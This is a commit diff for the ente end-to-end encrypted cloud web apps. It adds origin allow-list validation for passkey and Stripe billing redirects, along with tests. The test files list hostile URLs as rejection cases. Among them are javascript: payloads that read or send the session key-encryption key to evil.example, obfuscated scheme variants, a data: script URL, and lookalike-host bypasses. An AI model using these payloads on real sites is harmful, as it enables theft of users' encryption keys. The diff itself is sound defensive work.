Skip to content

armgit / ente

Public Imported from GitHub
0

πŸ’š End-to-end encrypted cloud for everything.

fix(web): validate passkey and billing navigation origins

AswinAsok6a714dbc3147
diff --git a/web/README.md b/web/README.md
index a3861de9fa..1cd619fa7f 100644
--- a/web/README.md
+++ b/web/README.md
@@ -37,6 +37,15 @@ To see the full list of apps you can run (and other scripts that you can use), u
>
> If `package-lock.json` has not changed since your last `npm ci`, you can use `npm install` as a faster incremental alternative.
+## Accounts navigation
+
+Passkey flows only navigate to `https://accounts.ente.com` and
+`https://accounts.ente.io` by default (the latter supports legacy passkeys).
+Self-hosted builds must set `NEXT_PUBLIC_ENTE_ACCOUNTS_ORIGIN` to their trusted
+Accounts web app origin, matching the server's `apps.accounts` configuration.
+This replaces the hosted origins. HTTPS is required; development builds also
+allow an explicitly configured HTTP loopback origin, e.g. `http://localhost:3001`.
+
## Docker images
A Docker image containing the self-hosting web apps is available from `ghcr.io/ente/web`. See [docs/docker.md](docs/docker.md) for more details.
diff --git a/web/apps/accounts/src/pages/passkeys/index.tsx b/web/apps/accounts/src/pages/passkeys/index.tsx
index 4457b6c828..f37a17e151 100644
--- a/web/apps/accounts/src/pages/passkeys/index.tsx
+++ b/web/apps/accounts/src/pages/passkeys/index.tsx
@@ -39,6 +39,7 @@ import { useBaseContext } from "ente-base/context";
import { isNamedError } from "ente-base/error";
import { formattedDateTime } from "ente-base/i18n-date";
import log from "ente-base/log";
+import { accountsNavigationURL } from "ente-base/safe-navigation";
import { useFormik } from "formik";
import { t } from "i18next";
import React, { useCallback, useEffect, useState } from "react";
@@ -85,13 +86,16 @@ const Page: React.FC = () => {
try {
const { accountsUrl, passkeys } = await getPasskeys(token!);
- const accountsURL = accountsUrl ? new URL(accountsUrl) : undefined;
+ const accountsURL = accountsUrl
+ ? accountsNavigationURL(accountsUrl)
+ : undefined;
if (accountsURL && accountsURL.origin !== window.location.origin) {
const redirectURL = new URL(accountsURL.href);
if (!redirectURL.pathname.endsWith("/")) {
redirectURL.pathname += "/";
}
redirectURL.pathname += "passkeys";
+ redirectURL.hash = "";
redirectURL.search = new URLSearchParams({
token: token!,
}).toString();
diff --git a/web/apps/photos/tests/passkey-navigation.test.ts b/web/apps/photos/tests/passkey-navigation.test.ts
new file mode 100644
index 0000000000..a66cb2b404
--- /dev/null
+++ b/web/apps/photos/tests/passkey-navigation.test.ts
@@ -0,0 +1,145 @@
+import {
+ openAccountsManagePasskeysPage,
+ openPasskeyVerificationURL,
+ passkeyVerificationRedirectURL,
+} from "ente-accounts/services/passkey";
+import { afterEach, beforeEach, expect, test, vi } from "vitest";
+
+vi.mock("ente-accounts/services/accounts-db", () => ({}));
+vi.mock("ente-accounts/services/user", () => ({}));
+vi.mock("ente-base/app", () => ({
+ clientPackageName: "io.ente.photos",
+ isDesktop: false,
+}));
+vi.mock("ente-base/http", () => ({
+ authenticatedRequestHeaders: vi.fn(),
+ ensureOk: vi.fn(),
+}));
+vi.mock("ente-base/origins", () => ({ apiURL: (path: string) => path }));
+vi.mock("ente-base/env", () => ({
+ isDevBuild: false,
+ buildEnvAccountsOrigin: undefined,
+}));
+vi.mock("ente-accounts/services/redirect", () => ({}));
+
+const maliciousURL = "javascript:alert(sessionStorage.keyEncryptionKey)//";
+const setItem = vi.fn();
+const open = vi.fn();
+const location = { origin: "https://photos.ente.com", href: "" };
+
+beforeEach(() => {
+ location.href = "";
+ vi.stubGlobal("window", { location, open });
+ vi.stubGlobal("sessionStorage", { setItem });
+});
+afterEach(() => {
+ vi.unstubAllGlobals();
+ vi.clearAllMocks();
+});
+
+test("rejects the reported payload before constructing a login redirect", () => {
+ expect(() =>
+ passkeyVerificationRedirectURL(maliciousURL, "session"),
+ ).toThrow();
+});
+
+test.each(["https://accounts.ente.com", "https://accounts.ente.io/"])(
+ "preserves login parameters for %s",
+ (base) => {
+ const url = new URL(
+ passkeyVerificationRedirectURL(base, "session & id"),
+ );
+ expect(url.pathname).toBe("/passkeys/verify");
+ expect(url.searchParams.get("passkeySessionID")).toBe("session & id");
+ expect(url.searchParams.get("redirect")).toBe(
+ "https://photos.ente.com/passkeys/finish",
+ );
+ expect(url.searchParams.get("recover")).toBe(
+ "https://photos.ente.com/passkeys/recover",
+ );
+ },
+);
+
+test.each([false, true])(
+ "rejects unsafe navigation with electron=%s",
+ (desktop) => {
+ vi.stubGlobal("electron", desktop ? {} : undefined);
+ expect(() =>
+ openPasskeyVerificationURL({
+ passkeySessionID: "session",
+ url: maliciousURL,
+ }),
+ ).toThrow();
+ expect(setItem).not.toHaveBeenCalled();
+ expect(open).not.toHaveBeenCalled();
+ expect(location.href).toBe("");
+ },
+);
+
+test.each([false, true])(
+ "opens a valid login URL with electron=%s",
+ (desktop) => {
+ vi.stubGlobal("electron", desktop ? {} : undefined);
+ const url = passkeyVerificationRedirectURL(
+ "https://accounts.ente.com",
+ "session",
+ );
+ openPasskeyVerificationURL({ passkeySessionID: "session", url });
+ expect(setItem).toHaveBeenCalledWith(
+ "inflightPasskeySessionID",
+ "session",
+ );
+ if (desktop) expect(open).toHaveBeenCalledWith(url);
+ else expect(location.href).toBe(url);
+ },
+);
+
+test.each([maliciousURL, "https://evil.example"])(
+ "rejects an unsafe management destination %s",
+ async (accountsUrl) => {
+ vi.stubGlobal(
+ "fetch",
+ vi
+ .fn()
+ .mockResolvedValueOnce({
+ json: () =>
+ Promise.resolve({ isPasskeyRecoveryEnabled: true }),
+ })
+ .mockResolvedValueOnce({
+ json: () =>
+ Promise.resolve({
+ accountsUrl,
+ accountsToken: "token",
+ }),
+ }),
+ );
+ await expect(openAccountsManagePasskeysPage(vi.fn())).rejects.toThrow();
+ expect(open).not.toHaveBeenCalled();
+ },
+);
+
+test("opens the trusted management URL with encoded token parameters", async () => {
+ vi.stubGlobal(
+ "fetch",
+ vi
+ .fn()
+ .mockResolvedValueOnce({
+ json: () => Promise.resolve({ isPasskeyRecoveryEnabled: true }),
+ })
+ .mockResolvedValueOnce({
+ json: () =>
+ Promise.resolve({
+ accountsUrl:
+ "https://accounts.ente.com/?ignored=true#old",
+ accountsToken: "token & value",
+ }),
+ }),
+ );
+ await openAccountsManagePasskeysPage(vi.fn());
+ const url = new URL(open.mock.calls[0]![0] as string);
+ expect(url.origin).toBe("https://accounts.ente.com");
+ expect(url.pathname).toBe("/passkeys");
+ expect(url.searchParams.get("token")).toBe("token & value");
+ expect(url.searchParams.has("ignored")).toBe(false);
+ expect(url.hash).toBe("");
+});
diff --git a/web/apps/photos/tests/safe-navigation.test.ts b/web/apps/photos/tests/safe-navigation.test.ts
new file mode 100644
index 0000000000..5e1b730b1c
--- /dev/null
+++ b/web/apps/photos/tests/safe-navigation.test.ts
@@ -0,0 +1,80 @@
+import {
+ accountsNavigationURL,
+ trustedNavigationURL,
+} from "ente-base/safe-navigation";
+import { afterEach, expect, test, vi } from "vitest";
+
+const env = vi.hoisted(() => ({
+ buildEnvAccountsOrigin: undefined as string | undefined,
+ isDevBuild: false,
+}));
+vi.mock("ente-base/env", () => env);
+
+afterEach(() => {
+ env.buildEnvAccountsOrigin = undefined;
+ env.isDevBuild = false;
+});
+
+test.each([
+ "javascript:fetch('https://evil.example/?k='+sessionStorage.keyEncryptionKey)//",
+ "JaVaScRiPt:alert(1)//",
+ "\njavascript:alert(1)//",
+ "java\tscript:alert(1)//",
+ "data:text/html,<script>alert(1)</script>",
+ "http://accounts.ente.com/passkeys",
+ "https://accounts.ente.com.evil.example/passkeys",
+ "https://[email protected]/passkeys",
+ "https://[email protected]/passkeys",
+ "https://accounts.ente.com:444/passkeys",
+ "https://evil.example/passkeys",
+ "//accounts.ente.com/passkeys",
+ "/passkeys",
+ "http://localhost:3001/passkeys",
+])("rejects an untrusted Accounts destination: %s", (value) => {
+ expect(() => accountsNavigationURL(value)).toThrow();
+});
+
+test.each(["https://accounts.ente.com", "https://accounts.ente.io"])(
+ "accepts the hosted Accounts origin %s",
+ (origin) => {
+ expect(
+ accountsNavigationURL(`${origin}/passkeys?token=test`).href,
+ ).toBe(`${origin}/passkeys?token=test`);
+ },
+);
+
+test("a self-hosted build trusts only its configured Accounts origin", () => {
+ env.buildEnvAccountsOrigin = "https://accounts.example.org";
+ expect(
+ accountsNavigationURL("https://accounts.example.org/passkeys").origin,
+ ).toBe("https://accounts.example.org");
+ expect(() => accountsNavigationURL("https://accounts.ente.com")).toThrow();
+});
+
+test("local HTTP needs both an explicit origin and a development build", () => {
+ env.buildEnvAccountsOrigin = "http://localhost:3001";
+ expect(() => accountsNavigationURL("http://localhost:3001")).toThrow();
+ env.isDevBuild = true;
+ expect(accountsNavigationURL("http://localhost:3001/passkeys").origin).toBe(
+ "http://localhost:3001",
+ );
+ expect(() => accountsNavigationURL("http://localhost:3002")).toThrow();
+ env.buildEnvAccountsOrigin = "http://accounts.example.org";
+ expect(() =>
+ accountsNavigationURL("http://accounts.example.org"),
+ ).toThrow();
+});
+
+test("billing portal validation preserves Stripe sessions and rejects other origins", () => {
+ const origins = ["https://billing.stripe.com"];
+ const portal = "https://billing.stripe.com/p/session/test?locale=en";
+ expect(trustedNavigationURL(portal, origins).href).toBe(portal);
+ for (const value of [
+ "javascript:alert(1)",
+ "http://billing.stripe.com/p/session/test",
+ "https://billing.stripe.com.evil.example/p/session/test",
+ "https://evil.example/p/session/test",
+ ]) {
+ expect(() => trustedNavigationURL(value, origins)).toThrow();
+ }
+});
diff --git a/web/packages/accounts/pages/credentials.tsx b/web/packages/accounts/pages/credentials.tsx
index b2273b5fea..52ea1bc144 100644
--- a/web/packages/accounts/pages/credentials.tsx
+++ b/web/packages/accounts/pages/credentials.tsx
@@ -244,13 +244,13 @@ const Page: React.FC = () => {
saveIsFirstLogin();
if (passkeySessionID) {
- await stashKeyEncryptionKeyInSessionStore(kek);
- updateSavedLocalUser({ passkeySessionID });
- stashRedirect("/");
const url = passkeyVerificationRedirectURL(
accountsUrl!,
passkeySessionID,
);
+ await stashKeyEncryptionKeyInSessionStore(kek);
+ updateSavedLocalUser({ passkeySessionID });
+ stashRedirect("/");
setPasskeyVerificationData({ passkeySessionID, url });
openPasskeyVerificationURL({ passkeySessionID, url });
return "redirecting-second-factor";
diff --git a/web/packages/accounts/pages/verify.tsx b/web/packages/accounts/pages/verify.tsx
index ec967d9770..bf0929e582 100644
--- a/web/packages/accounts/pages/verify.tsx
+++ b/web/packages/accounts/pages/verify.tsx
@@ -104,12 +104,12 @@ const Page: React.FC = () => {
);
if (passkeySessionID) {
- updateSavedLocalUser({ passkeySessionID });
- saveIsFirstLogin();
const url = passkeyVerificationRedirectURL(
accountsUrl!,
passkeySessionID,
);
+ updateSavedLocalUser({ passkeySessionID });
+ saveIsFirstLogin();
setPasskeyVerificationData({ passkeySessionID, url });
openPasskeyVerificationURL({ passkeySessionID, url });
} else if (twoFactorSessionID) {
diff --git a/web/packages/accounts/services/passkey.ts b/web/packages/accounts/services/passkey.ts
index 49499f9d91..4bb762b454 100644
--- a/web/packages/accounts/services/passkey.ts
+++ b/web/packages/accounts/services/passkey.ts
@@ -15,6 +15,7 @@ import {
publicRequestHeaders,
} from "ente-base/http";
import { apiURL } from "ente-base/origins";
+import { accountsNavigationURL } from "ente-base/safe-navigation";
import { z } from "zod";
import { unstashRedirect } from "./redirect";
@@ -36,7 +37,11 @@ export const passkeyVerificationRedirectURL = (
redirect,
...recoverOption,
});
- return `${accountsURL}/passkeys/verify?${params.toString()}`;
+ const url = accountsNavigationURL(accountsURL);
+ url.pathname = `${url.pathname.replace(/\/$/, "")}/passkeys/verify`;
+ url.search = params.toString();
+ url.hash = "";
+ return url.href;
};
interface OpenPasskeyVerificationURLOptions {
@@ -50,12 +55,14 @@ export const openPasskeyVerificationURL = ({
passkeySessionID,
url,
}: OpenPasskeyVerificationURLOptions) => {
+ const destination = accountsNavigationURL(url).href;
+
// The finish page ignores redirects whose session id does not match the
// inflight value saved here.
sessionStorage.setItem("inflightPasskeySessionID", passkeySessionID);
- if (globalThis.electron) window.open(url);
- else window.location.href = url;
+ if (globalThis.electron) window.open(destination);
+ else window.location.href = destination;
};
export const openAccountsManagePasskeysPage = async (
@@ -76,7 +83,11 @@ export const openAccountsManagePasskeysPage = async (
await getAccountsTokenAndURL();
const params = new URLSearchParams({ token });
- window.open(`${accountsURL}/passkeys?${params.toString()}`);
+ const url = accountsNavigationURL(accountsURL);
+ url.pathname = `${url.pathname.replace(/\/$/, "")}/passkeys`;
+ url.search = params.toString();
+ url.hash = "";
+ window.open(url.href);
};
const TwoFactorRecoveryStatus = z.object({
diff --git a/web/packages/base/env.ts b/web/packages/base/env.ts
index a3b8d4c5fc..128b6cab28 100644
--- a/web/packages/base/env.ts
+++ b/web/packages/base/env.ts
@@ -4,6 +4,7 @@ declare const process: {
readonly NODE_ENV: "development" | "production" | "test";
readonly NEXT_PUBLIC_ENSU_DESKTOP_VERSION?: string;
readonly NEXT_PUBLIC_ENTE_ENDPOINT?: string;
+ readonly NEXT_PUBLIC_ENTE_ACCOUNTS_ORIGIN?: string;
readonly appName: string;
readonly desktopAppVersion?: string;
readonly gitSHA?: string;
@@ -14,6 +15,9 @@ declare const process: {
export const isDevBuild = process.env.NODE_ENV == "development";
export const buildEnvIsProductionBuild = process.env.NODE_ENV == "production";
+export const buildEnvAccountsOrigin =
+ process.env.NEXT_PUBLIC_ENTE_ACCOUNTS_ORIGIN;
+
export const buildEnvCustomAPIEndpoint = process.env.NEXT_PUBLIC_ENTE_ENDPOINT;
export const buildEnvEnsuDesktopVersion =
process.env.NEXT_PUBLIC_ENSU_DESKTOP_VERSION;
diff --git a/web/packages/base/safe-navigation.ts b/web/packages/base/safe-navigation.ts
new file mode 100644
index 0000000000..37271859e1
--- /dev/null
+++ b/web/packages/base/safe-navigation.ts
@@ -0,0 +1,37 @@
+import { buildEnvAccountsOrigin, isDevBuild } from "./env";
+
+/** Parse an absolute server-supplied URL before using it as a destination. */
+export const trustedNavigationURL = (
+ value: string,
+ trustedOrigins: readonly string[],
+ allowLocalHTTP = false,
+): URL => {
+ const url = new URL(value);
+ const isLocalHTTP =
+ allowLocalHTTP &&
+ url.protocol === "http:" &&
+ ["localhost", "127.0.0.1", "[::1]"].includes(url.hostname);
+ if (
+ (url.protocol !== "https:" && !isLocalHTTP) ||
+ url.username ||
+ url.password ||
+ !trustedOrigins.includes(url.origin)
+ ) {
+ throw new Error("Untrusted navigation URL");
+ }
+ return url;
+};
+
+/**
+ * Trust the client build's Accounts origin, never an API-selected origin.
+ * Both hosted origins are needed during the legacy passkey RP migration.
+ * Local HTTP requires an explicit build override and a development build.
+ */
+export const accountsNavigationURL = (value: string): URL =>
+ trustedNavigationURL(
+ value,
+ buildEnvAccountsOrigin
+ ? [new URL(buildEnvAccountsOrigin).origin]
+ : ["https://accounts.ente.com", "https://accounts.ente.io"],
+ isDevBuild && !!buildEnvAccountsOrigin,
+ );
diff --git a/web/packages/new/photos/services/user-details.ts b/web/packages/new/photos/services/user-details.ts
index f5ec69698c..0961271a49 100644
--- a/web/packages/new/photos/services/user-details.ts
+++ b/web/packages/new/photos/services/user-details.ts
@@ -5,6 +5,7 @@ import { authenticatedRequestHeaders, ensureOk } from "ente-base/http";
import { getKV, setKV } from "ente-base/kv";
import log from "ente-base/log";
import { apiURL } from "ente-base/origins";
+import { trustedNavigationURL } from "ente-base/safe-navigation";
import {
nullishToEmpty,
nullishToZero,
@@ -250,7 +251,9 @@ export const redirectToCustomerPortal = async () => {
);
ensureOk(res);
const portal = z.object({ url: z.string() }).parse(await res.json());
- window.location.href = portal.url;
+ window.location.href = trustedNavigationURL(portal.url, [
+ "https://billing.stripe.com",
+ ]).href;
};
export const isSubscriptionActive = (subscription: Subscription) =>